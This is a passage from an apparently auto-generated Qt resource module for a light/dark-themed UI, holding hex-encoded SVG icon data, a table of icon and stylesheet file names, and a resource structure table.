\x63\x61\x6c\x65\x28\x35\x29\x22\x3e\x0d\x0a\x20\x20\x20\x20\x3c\ \x72\x65\x63\x74\x20\x66\x69\x6c\x6c\x3d\x22\x23\x34\x62\x34\x62\ \x34\x62\x22\x20\x78\x3d\x22\x33\x36\x22\x20\x77\x69\x64\x74\x68\ \x3d\x22\x33\x22\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x31\x37\x22\ \x2f\x3e\x0d\x0a\x20\x20\x20\x20\x3c\x72\x65\x63\x74\x20\x66\x69\ \x6c\x6c\x3d\x22\x23\x34\x62\x34\x62\x34\x62\x22\x20\x78\x3d\x22\ \x33\x36\x22\x20\x79\x3d\x22\x34\x37\x22\x20\x77\x69\x64\x74\x68\ \x3d\x22\x33\x22\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x31\x31\x22\ \x2f\x3e\x0d\x0a\x20\x20\x20\x20\x3c\x72\x65\x63\x74\x20\x66\x69\ \x6c\x6c\x3d\x22\x23\x34\x62\x34\x62\x34\x62\x22\x20\x78\x3d\x22\ \x36\x36\x22\x20\x79\x3d\x22\x32\x39\x2e\x37\x35\x22\x20\x68\x65\ \x69\x67\x68\x74\x3d\x22\x32\x22\x20\x77\x69\x64\x74\x68\x3d\x22\ \x31\x35\x22\x2f\x3e\x0d\x0a\x20\x20\x3c\x2f\x67\x3e\x0d\x0a\x3c\ \x2f\x73\x76\x67\x3e\x0d\x0a\ \x00\x00\x03\xe3\ \x3c\ \x73\x76\x67\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x30\x30\x22\x20\ \x68\x65\x69\x67\x68\x74\x3d\x22\x31\x30\x30\x22\x3e\x0d\x0a\x20\ \x20\x3c\x67\x20\x74\x72\x61\x6e\x73\x66\x6f\x72\x6d\x3d\x22\x6d\ \x61\x74\x72\x69\x78\x28\x30\x2e\x36\x32\x31\x36\x34\x32\x38\x34\ \x2c\x30\x2c\x30\x2c\x30\x2e\x36\x32\x33\x35\x37\x31\x31\x2c\x2d\ \x30\x2e\x36\x33\x35\x33\x30\x34\x33\x34\x2c\x33\x2e\x36\x38\x31\ \x36\x33\x31\x35\x29\x22\x3e\x0d\x0a\x20\x20\x20\x20\x3c\x70\x61\ \x74\x68\x20\x66\x69\x6c\x6c\x2d\x72\x75\x6c\x65\x3d\x22\x65\x76\ \x65\x6e\x6f\x64\x64\x22\x20\x63\x6c\x69\x70\x2d\x72\x75\x6c\x65\ \x3d\x22\x65\x76\x65\x6e\x6f\x64\x64\x22\x20\x64\x3d\x22\x4d\x20\ \x37\x39\x2e\x37\x39\x36\x38\x37\x35\x2c\x31\x30\x20\x41\x20\x37\ \x30\x2c\x37\x30\x20\x30\x20\x30\x20\x30\x20\x31\x30\x2c\x38\x30\ \x20\x37\x30\x2c\x37\x30\x20\x30\x20\x30\x20\x30\x20\x38\x30\x2c\ \x31\x35\x30\x20\x37\x30\x2c\x37\x30\x20\x30\x20\x30\x20\x30\x20\ \x31\x35\x30\x2c\x38\x30\x20\x37\x30\x2c\x37\x30\x20\x30\x20\x30\ \x20\x30\x20\x38\x30\x2c\x31\x30\x20\x37\x30\x2c\x37\x30\x20\x30\ \x20\x30\x20\x30\x20\x37\x39\x2e\x37\x39\x36\x38\x37\x35\x2c\x31\ \x30\x20\x5a\x20\x6d\x20\x33\x31\x2e\x31\x33\x36\x37\x31\x35\x2c\ \x32\x38\x2e\x35\x20\x63\x20\x33\x2e\x31\x38\x36\x33\x32\x2c\x2d\ \x30\x2e\x30\x30\x38\x37\x20\x36\x2e\x33\x37\x36\x33\x36\x2c\x31\ \x2e\x32\x31\x31\x32\x30\x36\x20\x38\x2e\x38\x31\x34\x34\x36\x2c\ \x33\x2e\x36\x36\x30\x31\x35\x36\x20\x34\x2e\x38\x37\x32\x37\x2c\ \x34\x2e\x38\x39\x36\x35\x20\x34\x2e\x38\x39\x32\x39\x37\x2c\x31\ \x32\x2e\x38\x35\x37\x37\x34\x34\x20\x30\x2e\x30\x34\x36\x39\x2c\ \x31\x37\x2e\x37\x37\x37\x33\x34\x34\x20\x4c\x20\x39\x38\x2e\x35\ \x31\x39\x35\x33\x31\x2c\x38\x31\x2e\x35\x31\x35\x36\x32\x35\x20\ \x31\x31\x39\x2e\x38\x31\x38\x33\x36\x2c\x31\x30\x33\x2e\x31\x31\ \x35\x32\x33\x20\x63\x20\x34\x2e\x38\x30\x36\x32\x2c\x34\x2e\x38\ \x38\x34\x36\x20\x34\x2e\x37\x34\x30\x32\x32\x2c\x31\x32\x2e\x37\ \x39\x34\x39\x38\x20\x2d\x30\x2e\x31\x34\x36\x34\x38\x2c\x31\x37\ \x2e\x36\x37\x31\x38\x38\x20\x2d\x34\x2e\x38\x38\x38\x31\x2c\x34\ \x2e\x38\x37\x34\x38\x20\x2d\x31\x32\x2e\x37\x34\x35\x39\x39\x2c\ \x34\x2e\x38\x36\x32\x34\x31\x20\x2d\x31\x37\x2e\x35\x35\x30\x37\ \x39\x2c\x2d\x30\x2e\x30\x32\x31\x35\x20\x4c\x20\x38\x30\x2e\x39\ \x36\x38\x37\x35\x2c\x39\x39\x2e\x33\x31\x36\x34\x30\x36\x20\x35\ \x39\x2e\x37\x37\x37\x33\x34\x34\x2c\x31\x32\x30\x2e\x38\x30\x36\ \x36\x34\x20\x63\x20\x2d\x34\x2e\x38\x34\x38\x39\x2c\x34\x2e\x39\ \x32\x33\x38\x20\x2d\x31\x32\x2e\x37\x33\x33\x31\x37\x35\x2c\x34\ \x2e\x39\x34\x34\x37\x38\x20\x2d\x31\x37\x2e\x36\x30\x39\x33\x37\ \x35\x2c\x30\x2e\x30\x34\x36\x39\x20\x2d\x34\x2e\x38\x37\x32\x37\ \x2c\x2d\x34\x2e\x38\x39\x36\x35\x20\x2d\x34\x2e\x38\x39\x33\x36\ \x37\x35\x2c\x2d\x31\x32\x2e\x38\x35\x37\x37\x35\x20\x2d\x30\x2e\ \x30\x34\x36\x38\x37\x2c\x2d\x31\x37\x2e\x37\x37\x37\x33\x35\x20\ \x4c\x20\x36\x33\x2e\x33\x39\x36\x34\x38\x34\x2c\x38\x31\x2e\x34\ \x39\x36\x30\x39\x34\x20\x34\x32\x2e\x30\x39\x39\x36\x30\x39\x2c\ \x35\x39\x2e\x38\x39\x38\x34\x33\x38\x20\x63\x20\x2d\x34\x2e\x38\ \x30\x36\x39\x2c\x2d\x34\x2e\x38\x38\x34\x36\x20\x2d\x34\x2e\x37\ \x34\x32\x31\x36\x38\x2c\x2d\x31\x32\x2e\x37\x39\x36\x39\x32\x39\ \x20\x30\x2e\x31\x34\x34\x35\x33\x32\x2c\x2d\x31\x37\x2e\x36\x37\ \x33\x38\x32\x39\x20\x34\x2e\x38\x38\x38\x31\x2c\x2d\x34\x2e\x38\ \x37\x34\x31\x20\x31\x32\x2e\x37\x34\x37\x39\x33\x34\x2c\x2d\x34\ \x2e\x38\x36\x32\x34\x31\x35\x20\x31\x37\x2e\x35\x35\x32\x37\x33\ \x34\x2c\x30\x2e\x30\x32\x31\x34\x38\x20\x4c\x20\x38\x30\x2e\x39\ \x34\x39\x32\x31\x39\x2c\x36\x33\x2e\x36\x39\x37\x32\x36\x36\x20\ \x31\x30\x32\x2e\x31\x34\x30\x36\x32\x2c\x34\x32\x2e\x32\x30\x37\ \x30\x33\x31\x20\x63\x20\x32\x2e\x34\x32\x34\x34\x36\x2c\x2d\x32\ \x2e\x34\x36\x31\x39\x20\x35\x2e\x36\x30\x36\x36\x36\x2c\x2d\x33\ \x2e\x36\x39\x38\x33\x36\x39\x20\x38\x2e\x37\x39\x32\x39\x37\x2c\ \x2d\x33\x2e\x37\x30\x37\x30\x33\x31\x20\x7a\x22\x20\x66\x69\x6c\ \x6c\x3d\x22\x23\x32\x64\x39\x33\x63\x38\x22\x20\x66\x69\x6c\x6c\ \x2d\x6f\x70\x61\x63\x69\x74\x79\x3d\x22\x30\x2e\x35\x22\x2f\x3e\ \x0d\x0a\x20\x20\x3c\x2f\x67\x3e\x0d\x0a\x3c\x2f\x73\x76\x67\x3e\ \x0d\x0a\ " qt_resource_name = b"\ \x00\x05\ \x00\x72\xfd\xf4\ \x00\x6c\ \x00\x69\x00\x67\x00\x68\x00\x74\ \x00\x04\ \x00\x06\xa8\x8b\ \x00\x64\ \x00\x61\x00\x72\x00\x6b\ \x00\x12\ \x08\x8f\x44\xa7\ \x00\x64\ \x00\x69\x00\x61\x00\x6c\x00\x6f\x00\x67\x00\x5f\x00\x64\x00\x69\x00\x73\x00\x63\x00\x61\x00\x72\x00\x64\x00\x2e\x00\x73\x00\x76\ \x00\x67\ \x00\x15\ \x0f\xf3\xcd\x87\ \x00\x75\ \x00\x70\x00\x5f\x00\x61\x00\x72\x00\x72\x00\x6f\x00\x77\x00\x5f\x00\x64\x00\x69\x00\x73\x00\x61\x00\x62\x00\x6c\x00\x65\x00\x64\ \x00\x2e\x00\x73\x00\x76\x00\x67\ \x00\x0c\ \x06\x41\x4d\x07\ \x00\x73\ \x00\x69\x00\x7a\x00\x65\x00\x67\x00\x72\x00\x69\x00\x70\x00\x2e\x00\x73\x00\x76\x00\x67\ \x00\x17\ \x0c\x65\xc3\x87\ \x00\x6c\ \x00\x65\x00\x66\x00\x74\x00\x5f\x00\x61\x00\x72\x00\x72\x00\x6f\x00\x77\x00\x5f\x00\x64\x00\x69\x00\x73\x00\x61\x00\x62\x00\x6c\ \x00\x65\x00\x64\x00\x2e\x00\x73\x00\x76\x00\x67\ \x00\x0a\ \x05\x95\xd3\xa7\ \x00\x75\ \x00\x6e\x00\x64\x00\x6f\x00\x63\x00\x6b\x00\x2e\x00\x73\x00\x76\x00\x67\ \x00\x0e\ \x0e\xde\xf7\x47\ \x00\x6c\ \x00\x65\x00\x66\x00\x74\x00\x5f\x00\x61\x00\x72\x00\x72\x00\x6f\x00\x77\x00\x2e\x00\x73\x00\x76\x00\x67\ \x00\x0f\ \x06\x53\x28\x27\ \x00\x62\ \x00\x72\x00\x61\x00\x6e\x00\x63\x00\x68\x00\x5f\x00\x6f\x00\x70\x00\x65\x00\x6e\x00\x2e\x00\x73\x00\x76\x00\x67\ \x00\x14\ \x05\x8e\xb3\xc7\ \x00\x64\ \x00\x6f\x00\x77\x00\x6e\x00\x5f\x00\x61\x00\x72\x00\x72\x00\x6f\x00\x77\x00\x5f\x00\x68\x00\x6f\x00\x76\x00\x65\x00\x72\x00\x2e\ \x00\x73\x00\x76\x00\x67\ \x00\x17\ \x0a\x80\x1e\x07\ \x00\x6d\ \x00\x65\x00\x73\x00\x73\x00\x61\x00\x67\x00\x65\x00\x5f\x00\x69\x00\x6e\x00\x66\x00\x6f\x00\x72\x00\x6d\x00\x61\x00\x74\x00\x69\ \x00\x6f\x00\x6e\x00\x2e\x00\x73\x00\x76\x00\x67\ \x00\x0f\ \x00\x72\x20\xe7\ \x00\x68\ \x00\x73\x00\x65\x00\x70\x00\x74\x00\x6f\x00\x6f\x00\x6c\x00\x62\x00\x61\x00\x72\x00\x2e\x00\x73\x00\x76\x00\x67\ \x00\x14\ \x04\x13\x00\xa7\ \x00\x6d\ \x00\x65\x00\x73\x00\x73\x00\x61\x00\x67\x00\x65\x00\x5f\x00\x71\x00\x75\x00\x65\x00\x73\x00\x74\x00\x69\x00\x6f\x00\x6e\x00\x2e\ \x00\x73\x00\x76\x00\x67\ \x00\x23\ \x06\xf2\x17\xc7\ \x00\x63\ \x00\x68\x00\x65\x00\x63\x00\x6b\x00\x62\x00\x6f\x00\x78\x00\x5f\x00\x69\x00\x6e\x00\x64\x00\x65\x00\x74\x00\x65\x00\x72\x00\x6d\ \x00\x69\x00\x6e\x00\x61\x00\x74\x00\x65\x00\x5f\x00\x64\x00\x69\x00\x73\x00\x61\x00\x62\x00\x6c\x00\x65\x00\x64\x00\x2e\x00\x73\ \x00\x76\x00\x67\ \x00\x10\ \x01\x08\xc7\x27\ \x00\x68\ \x00\x6d\x00\x6f\x00\x76\x00\x65\x00\x74\x00\x6f\x00\x6f\x00\x6c\x00\x62\x00\x61\x00\x72\x00\x2e\x00\x73\x00\x76\x00\x67\ \x00\x15\ \x00\x61\x01\xc7\ \x00\x62\ \x00\x72\x00\x61\x00\x6e\x00\x63\x00\x68\x00\x5f\x00\x6f\x00\x70\x00\x65\x00\x6e\x00\x5f\x00\x68\x00\x6f\x00\x76\x00\x65\x00\x72\ \x00\x2e\x00\x73\x00\x76\x00\x67\ \x00\x11\ \x04\x00\x5d\x47\ \x00\x63\ \x00\x61\x00\x6c\x00\x65\x00\x6e\x00\x64\x00\x61\x00\x72\x00\x5f\x00\x6e\x00\x65\x00\x78\x00\x74\x00\x2e\x00\x73\x00\x76\x00\x67\ \ \x00\x0f\ \x06\xeb\x5d\xe7\ \x00\x64\ \x00\x69\x00\x61\x00\x6c\x00\x6f\x00\x67\x00\x5f\x00\x6f\x00\x70\x00\x65\x00\x6e\x00\x2e\x00\x73\x00\x76\x00\x67\ \x00\x0e\ \x0d\x4e\x7c\x07\ \x00\x62\ \x00\x72\x00\x61\x00\x6e\x00\x63\x00\x68\x00\x5f\x00\x65\x00\x6e\x00\x64\x00\x2e\x00\x73\x00\x76\x00\x67\ \x00\x09\ \x00\x48\xa0\xa7\ \x00\x76\ \x00\x6c\x00\x69\x00\x6e\x00\x65\x00\x2e\x00\x73\x00\x76\x00\x67\ \x00\x0f\ \x08\xae\x5c\x07\ \x00\x64\ \x00\x69\x00\x61\x00\x6c\x00\x6f\x00\x67\x00\x5f\x00\x73\x00\x61\x00\x76\x00\x65\x00\x2e\x00\x73\x00\x76\x00\x67\ \x00\x13\ \x09\xbb\x14\xa7\ \x00\x6d\ \x00\x65\x00\x73\x00\x73\x00\x61\x00\x67\x00\x65\x00\x5f\x00\x77\x00\x61\x00\x72\x00\x6e\x00\x69\x00\x6e\x00\x67\x00\x2e\x00\x73\ \x00\x76\x00\x67\ \x00\x16\ \x01\x75\xc1\x07\ \x00\x63\ \x00\x68\x00\x65\x00\x63\x00\x6b\x00\x62\x00\x6f\x00\x78\x00\x5f\x00\x75\x00\x6e\x00\x63\x00\x68\x00\x65\x00\x63\x00\x6b\x00\x65\ \x00\x64\x00\x2e\x00\x73\x00\x76\x00\x67\ \x00\x0e\ \x04\xa2\xf1\x27\ \x00\x64\ \x00\x6f\x00\x77\x00\x6e\x00\x5f\x00\x61\x00\x72\x00\x72\x00\x6f\x00\x77\x00\x2e\x00\x73\x00\x76\x00\x67\ \x00\x11\ \x0a\xe5\x61\x87\ \x00\x72\ \x00\x61\x00\x64\x00\x69\x00\x6f\x00\x5f\x00\x63\x00\x68\x00\x65\x00\x63\x00\x6b\x00\x65\x00\x64\x00\x2e\x00\x73\x00\x76\x00\x67\ \ \x00\x14\ \x00\x88\x80\x07\ \x00\x6d\ \x00\x65\x00\x73\x00\x73\x00\x61\x00\x67\x00\x65\x00\x5f\x00\x63\x00\x72\x00\x69\x00\x74\x00\x69\x00\x63\x00\x61\x00\x6c\x00\x2e\ \x00\x73\x00\x76\x00\x67\ \x00\x12\ \x01\x06\x86\x47\ \x00\x75\ \x00\x70\x00\x5f\x00\x61\x00\x72\x00\x72\x00\x6f\x00\x77\x00\x5f\x00\x68\x00\x6f\x00\x76\x00\x65\x00\x72\x00\x2e\x00\x73\x00\x76\ \x00\x67\ \x00\x1a\ \x01\x87\xa3\xe7\ \x00\x63\ \x00\x68\x00\x65\x00\x63\x00\x6b\x00\x62\x00\x6f\x00\x78\x00\x5f\x00\x69\x00\x6e\x00\x64\x00\x65\x00\x74\x00\x65\x00\x72\x00\x6d\ \x00\x69\x00\x6e\x00\x61\x00\x74\x00\x65\x00\x2e\x00\x73\x00\x76\x00\x67\ \x00\x14\ \x03\xf0\xa6\x47\ \x00\x62\ \x00\x72\x00\x61\x00\x6e\x00\x63\x00\x68\x00\x5f\x00\x65\x00\x6e\x00\x64\x00\x5f\x00\x61\x00\x72\x00\x72\x00\x6f\x00\x77\x00\x2e\ \x00\x73\x00\x76\x00\x67\ \x00\x0d\ \x03\xa2\x30\xc7\ \x00\x64\ \x00\x69\x00\x61\x00\x6c\x00\x6f\x00\x67\x00\x5f\x00\x6e\x00\x6f\x00\x2e\x00\x73\x00\x76\x00\x67\ \x00\x10\ \x01\x0f\x47\x27\ \x00\x76\ \x00\x6d\x00\x6f\x00\x76\x00\x65\x00\x74\x00\x6f\x00\x6f\x00\x6c\x00\x62\x00\x61\x00\x72\x00\x2e\x00\x73\x00\x76\x00\x67\ \x00\x11\ \x03\xbf\x8a\x87\ \x00\x64\ \x00\x69\x00\x61\x00\x6c\x00\x6f\x00\x67\x00\x5f\x00\x63\x00\x61\x00\x6e\x00\x63\x00\x65\x00\x6c\x00\x2e\x00\x73\x00\x76\x00\x67\ \ \x00\x10\ \x00\x38\x48\xa7\ \x00\x64\ \x00\x69\x00\x61\x00\x6c\x00\x6f\x00\x67\x00\x5f\x00\x63\x00\x6c\x00\x6f\x00\x73\x00\x65\x00\x2e\x00\x73\x00\x76\x00\x67\ \x00\x0d\ \x03\xae\x30\xc7\ \x00\x64\ \x00\x69\x00\x61\x00\x6c\x00\x6f\x00\x67\x00\x5f\x00\x6f\x00\x6b\x00\x2e\x00\x73\x00\x76\x00\x67\ \x00\x17\ \x0c\xab\x5c\x87\ \x00\x64\ \x00\x6f\x00\x77\x00\x6e\x00\x5f\x00\x61\x00\x72\x00\x72\x00\x6f\x00\x77\x00\x5f\x00\x64\x00\x69\x00\x73\x00\x61\x00\x62\x00\x6c\ \x00\x65\x00\x64\x00\x2e\x00\x73\x00\x76\x00\x67\ \x00\x0f\ \x0c\x59\x5a\xe7\ \x00\x64\ \x00\x69\x00\x61\x00\x6c\x00\x6f\x00\x67\x00\x5f\x00\x68\x00\x65\x00\x6c\x00\x70\x00\x2e\x00\x73\x00\x76\x00\x67\ \x00\x0f\ \x00\x72\x98\xe7\ \x00\x76\ \x00\x73\x00\x65\x00\x70\x00\x74\x00\x6f\x00\x6f\x00\x6c\x00\x62\x00\x61\x00\x72\x00\x2e\x00\x73\x00\x76\x00\x67\ \x00\x09\ \x06\x98\x8e\xa7\ \x00\x63\ \x00\x6c\x00\x6f\x00\x73\x00\x65\x00\x2e\x00\x73\x00\x76\x00\x67\ \x00\x1d\ \x09\x07\x8c\x87\ \x00\x63\ \x00\x68\x00\x65\x00\x63\x00\x6b\x00\x62\x00\x6f\x00\x78\x00\x5f\x00\x63\x00\x68\x00\x65\x00\x63\x00\x6b\x00\x65\x00\x64\x00\x5f\ \x00\x64\x00\x69\x00\x73\x00\x61\x00\x62\x00\x6c\x00\x65\x00\x64\x00\x2e\x00\x73\x00\x76\x00\x67\ \x00\x0f\ \x06\x16\x28\x67\ \x00\x62\ \x00\x72\x00\x61\x00\x6e\x00\x63\x00\x68\x00\x5f\x00\x6d\x00\x6f\x00\x72\x00\x65\x00\x2e\x00\x73\x00\x76\x00\x67\ \x00\x18\ \x03\x8e\xd3\xe7\ \x00\x72\ \x00\x69\x00\x67\x00\x68\x00\x74\x00\x5f\x00\x61\x00\x72\x00\x72\x00\x6f\x00\x77\x00\x5f\x00\x64\x00\x69\x00\x73\x00\x61\x00\x62\ \x00\x6c\x00\x65\x00\x64\x00\x2e\x00\x73\x00\x76\x00\x67\ \x00\x0f\ \x0c\xe2\x65\xe7\ \x00\x74\ \x00\x72\x00\x61\x00\x6e\x00\x73\x00\x70\x00\x61\x00\x72\x00\x65\x00\x6e\x00\x74\x00\x2e\x00\x73\x00\x76\x00\x67\ \x00\x14\ \x07\xec\xdc\x47\ \x00\x63\ \x00\x68\x00\x65\x00\x63\x00\x6b\x00\x62\x00\x6f\x00\x78\x00\x5f\x00\x63\x00\x68\x00\x65\x00\x63\x00\x6b\x00\x65\x00\x64\x00\x2e\ \x00\x73\x00\x76\x00\x67\ \x00\x0f\ \x01\xf2\x4c\xc7\ \x00\x63\ \x00\x6c\x00\x6f\x00\x73\x00\x65\x00\x5f\x00\x68\x00\x6f\x00\x76\x00\x65\x00\x72\x00\x2e\x00\x73\x00\x76\x00\x67\ \x00\x10\ \x0f\x67\x35\x47\ \x00\x64\ \x00\x69\x00\x61\x00\x6c\x00\x6f\x00\x67\x00\x5f\x00\x72\x00\x65\x00\x73\x00\x65\x00\x74\x00\x2e\x00\x73\x00\x76\x00\x67\ \x00\x10\ \x07\x98\xf6\xc7\ \x00\x75\ \x00\x6e\x00\x64\x00\x6f\x00\x63\x00\x6b\x00\x5f\x00\x68\x00\x6f\x00\x76\x00\x65\x00\x72\x00\x2e\x00\x73\x00\x76\x00\x67\ \x00\x18\ \x02\x20\x5d\xe7\ \x00\x75\ \x00\x6e\x00\x64\x00\x6f\x00\x63\x00\x6b\x00\x5f\x00\x68\x00\x6f\x00\x76\x00\x65\x00\x72\x00\x5f\x00\x70\x00\x72\x00\x65\x00\x73\ \x00\x73\x00\x65\x00\x64\x00\x2e\x00\x73\x00\x76\x00\x67\ \x00\x15\ \x01\x26\x22\xc7\ \x00\x63\ \x00\x61\x00\x6c\x00\x65\x00\x6e\x00\x64\x00\x61\x00\x72\x00\x5f\x00\x70\x00\x72\x00\x65\x00\x76\x00\x69\x00\x6f\x00\x75\x00\x73\ \x00\x2e\x00\x73\x00\x76\x00\x67\ \x00\x1c\ \x01\xe0\x47\x87\ \x00\x72\ \x00\x61\x00\x64\x00\x69\x00\x6f\x00\x5f\x00\x75\x00\x6e\x00\x63\x00\x68\x00\x65\x00\x63\x00\x6b\x00\x65\x00\x64\x00\x5f\x00\x64\ \x00\x69\x00\x73\x00\x61\x00\x62\x00\x6c\x00\x65\x00\x64\x00\x2e\x00\x73\x00\x76\x00\x67\ \x00\x0c\ \x06\xe6\xeb\xe7\ \x00\x75\ \x00\x70\x00\x5f\x00\x61\x00\x72\x00\x72\x00\x6f\x00\x77\x00\x2e\x00\x73\x00\x76\x00\x67\ \x00\x13\ \x08\xc8\x9b\x67\ \x00\x72\ \x00\x61\x00\x64\x00\x69\x00\x6f\x00\x5f\x00\x75\x00\x6e\x00\x63\x00\x68\x00\x65\x00\x63\x00\x6b\x00\x65\x00\x64\x00\x2e\x00\x73\ \x00\x76\x00\x67\ \x00\x0e\ \x03\xc2\xd5\xc3\ \x00\x73\ \x00\x74\x00\x79\x00\x6c\x00\x65\x00\x73\x00\x68\x00\x65\x00\x65\x00\x74\x00\x2e\x00\x71\x00\x73\x00\x73\ \x00\x17\ \x0b\x6b\x2b\xe7\ \x00\x62\ \x00\x72\x00\x61\x00\x6e\x00\x63\x00\x68\x00\x5f\x00\x63\x00\x6c\x00\x6f\x00\x73\x00\x65\x00\x64\x00\x5f\x00\x68\x00\x6f\x00\x76\ \x00\x65\x00\x72\x00\x2e\x00\x73\x00\x76\x00\x67\ \x00\x1a\ \x0e\xbc\xce\xe7\ \x00\x72\ \x00\x61\x00\x64\x00\x69\x00\x6f\x00\x5f\x00\x63\x00\x68\x00\x65\x00\x63\x00\x6b\x00\x65\x00\x64\x00\x5f\x00\x64\x00\x69\x00\x73\ \x00\x61\x00\x62\x00\x6c\x00\x65\x00\x64\x00\x2e\x00\x73\x00\x76\x00\x67\ \x00\x1f\ \x0a\xae\x2a\xc7\ \x00\x63\ \x00\x68\x00\x65\x00\x63\x00\x6b\x00\x62\x00\x6f\x00\x78\x00\x5f\x00\x75\x00\x6e\x00\x63\x00\x68\x00\x65\x00\x63\x00\x6b\x00\x65\ \x00\x64\x00\x5f\x00\x64\x00\x69\x00\x73\x00\x61\x00\x62\x00\x6c\x00\x65\x00\x64\x00\x2e\x00\x73\x00\x76\x00\x67\ \x00\x11\ \x0b\xda\x3d\x27\ \x00\x62\ \x00\x72\x00\x61\x00\x6e\x00\x63\x00\x68\x00\x5f\x00\x63\x00\x6c\x00\x6f\x00\x73\x00\x65\x00\x64\x00\x2e\x00\x73\x00\x76\x00\x67\ \ \x00\x0f\ \x02\x9f\x08\x07\ \x00\x72\ \x00\x69\x00\x67\x00\x68\x00\x74\x00\x5f\x00\x61\x00\x72\x00\x72\x00\x6f\x00\x77\x00\x2e\x00\x73\x00\x76\x00\x67\ \x00\x15\ \x05\x5c\x0e\xa7\ \x00\x62\ \x00\x72\x00\x61\x00\x6e\x00\x63\x00\x68\x00\x5f\x00\x6d\x00\x6f\x00\x72\x00\x65\x00\x5f\x00\x61\x00\x72\x00\x72\x00\x6f\x00\x77\ \x00\x2e\x00\x73\x00\x76\x00\x67\ \x00\x11\ \x0e\xd0\x99\xe7\ \x00\x63\ \x00\x6c\x00\x6f\x00\x73\x00\x65\x00\x5f\x00\x70\x00\x72\x00\x65\x00\x73\x00\x73\x00\x65\x00\x64\x00\x2e\x00\x73\x00\x76\x00\x67\ \ " qt_resource_struct_v1 = b"\ \x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x01\ \x00\x00\x00\x10\x00\x02\x00\x00\x00\x39\x00\x00\x00\x3c\ \x00\x00\x00\x00\x00\x02\x00\x00\x00\x39\x00\x00\x00\x03\ \x00\x00\x05\x00\x00\x00\x00\x00\x00\x01\x00\x00\xb7\x76\ \x00\x00\x02\xee\x00\x00\x00\x00\x00\x01\x00\x00\xa1\xa4\ \x00\x00\x02\x50\x00\x00\x00\x00\x00\x01\x00\x00\x9a\xfa\ \x00\x00\x01\x8c\x00\x00\x00\x00\x00\x01\x00\x00\x90\x9f\ \x00\x00\x05\x9e\x00\x00\x00\x00\x00\x01\x00\x00\xbf\x84\ \x00\x00\x03\xd2\x00\x00\x00\x00\x00\x01\x00\x00\xab\x24\ \x00\x00\x04\x00\x00\x00\x00\x00\x00\x01\x00\x00\xad\xe7\ \x00\x00\x02\x2a\x00\x00\x00\x00\x00\x01\x00\x00\x9a\x53\ \x00\x00\x04\xb2\x00\x00\x00\x00\x00\x01\x00\x00\xb4\xcc\ \x00\x00\x07\x6c\x00\x00\x00\x00\x00\x01\x00\x00\xd1\x6c\ \x00\x00\x03\x56\x00\x00\x00\x00\x00\x01\x00\x00\xa7\x89\ \x00\x00\x04\x2a\x00\x00\x00\x00\x00\x01\x00\x00\xaf\xf1\ \x00\x00\x07\x9c\x00\x00\x00\x00\x00\x01\x00\x00\xd3\x6e\ \x00\x00\x06\xc6\x00\x00\x00\x00\x00\x01\x00\x00\xc8\xfd\ \x00\x00\x07\x36\x00\x00\x00\x00\x00\x01\x00\x00\xd0\x14\ \x00\x00\x09\x20\x00\x00\x00\x00\x00\x01\x00\x00\xf9\x72\ \x00\x00\x06\x3e\x00\x00\x00\x00\x00\x01\x00\x00\xc5\xbd\ \x00\x00\x04\x92\x00\x00\x00\x00\x00\x01\x00\x00\xb2\x83\ \x00\x00\x05\x26\x00\x00\x00\x00\x00\x01\x00\x00\xb9\x07\ \x00\x00\x04\xd8\x00\x00\x00\x00\x00\x01\x00\x00\xb5\x73\ \x00\x00\x08\x24\x00\x01\x00\x00\x00\x01\x00\x00\xd6\x78\ \x00\x00\x04\x64\x00\x00\x00\x00\x00\x01\x00\x00\xb1\xb7\ \x00\x00\x02\x80\x00\x00\x00\x00\x00\x01\x00\x00\x9d\x2b\ \x00\x00\x01\xb0\x00\x00\x00\x00\x00\x01\x00\x00\x91\x07\ \x00\x00\x03\x88\x00\x00\x00\x00\x00\x01\x00\x00\xa8\x5e\ \x00\x00\x09\x44\x00\x00\x00\x00\x00\x01\x00\x00\xfb\x71\ \x00\x00\x01\x2a\x00\x00\x00\x00\x00\x01\x00\x00\x8c\x1e\ \x00\x00\x00\xca\x00\x00\x00\x00\x00\x01\x00\x00\x87\x04\ \x00\x00\x06\x1a\x00\x00\x00\x00\x00\x01\x00\x00\xc4\xf1\ \x00\x00\x00\x78\x00\x00\x00\x00\x00\x01\x00\x00\x83\xe1\ \x00\x00\x01\x06\x00\x00\x00\x00\x00\x01\x00\x00\x89\xed\ \x00\x00\x05\xc2\x00\x00\x00\x00\x00\x01\x00\x00\xbf\xec\ \x00\x00\x07\xda\x00\x00\x00\x00\x00\x01\x00\x00\xd3\xee\ \x00\x00\x02\xa8\x00\x00\x00\x00\x00\x01\x00\x00\x9f\x2a\ \x00\x00\x01\xde\x00\x00\x00\x00\x00\x01\x00\x00\x98\x8d\ \x00\x00\x07\x10\x00\x00\x00\x00\x00\x01\x00\x00\xce\xbc\ \x00\x00\x06\x98\x00\x00\x00\x00\x00\x01\x00\x00\xc7\xdf\ \x00\x00\x00\x1e\x00\x00\x00\x00\x00\x01\x00\x00\x80\x18\ \x00\x00\x03\x06\x00\x00\x00\x00\x00\x01\x00\x00\xa2\x2d\ \x00\x00\x07\xf8\x00\x00\x00\x00\x00\x01\x00\x00\xd5\xf8\ \x00\x00\x05\xda\x00\x00\x00\x00\x00\x01\x00\x00\xc3\xd3\ \x00\x00\x03\x2a\x00\x00\x00\x00\x00\x01\x00\x00\xa4\x49\ \x00\x00\x01\x58\x00\x00\x00\x00\x00\x01\x00\x00\x8e\x30\ \x00\x00\x08\xb4\x00\x00\x00\x00\x00\x01\x00\x00\xf6\x78\ \x00\x00\x03\xaa\x00\x00\x00\x00\x00\x01\x00\x00\xaa\x70\ \x00\x00\x08\x46\x00\x00\x00\x00\x00\x01\x00\x00\xf3\x9f\ \x00\x00\x08\xf8\x00\x00\x00\x00\x00\x01\x00\x00\xf7\x4d\ \x00\x00\x05\x7a\x00\x00\x00\x00\x00\x01\x00\x00\xbc\xdf\ \x00\x00\x00\x96\x00\x00\x00\x00\x00\x01\x00\x00\x85\x02\ \x00\x00\x05\x46\x00\x00\x00\x00\x00\x01\x00\x00\xba\xcd\ \x00\x00\x06\x74\x00\x00\x00\x00\x00\x01\x00\x00\xc7\xbc\ \x00\x00\x02\xcc\x00\x00\x00\x00\x00\x01\x00\x00\xa0\xd5\ 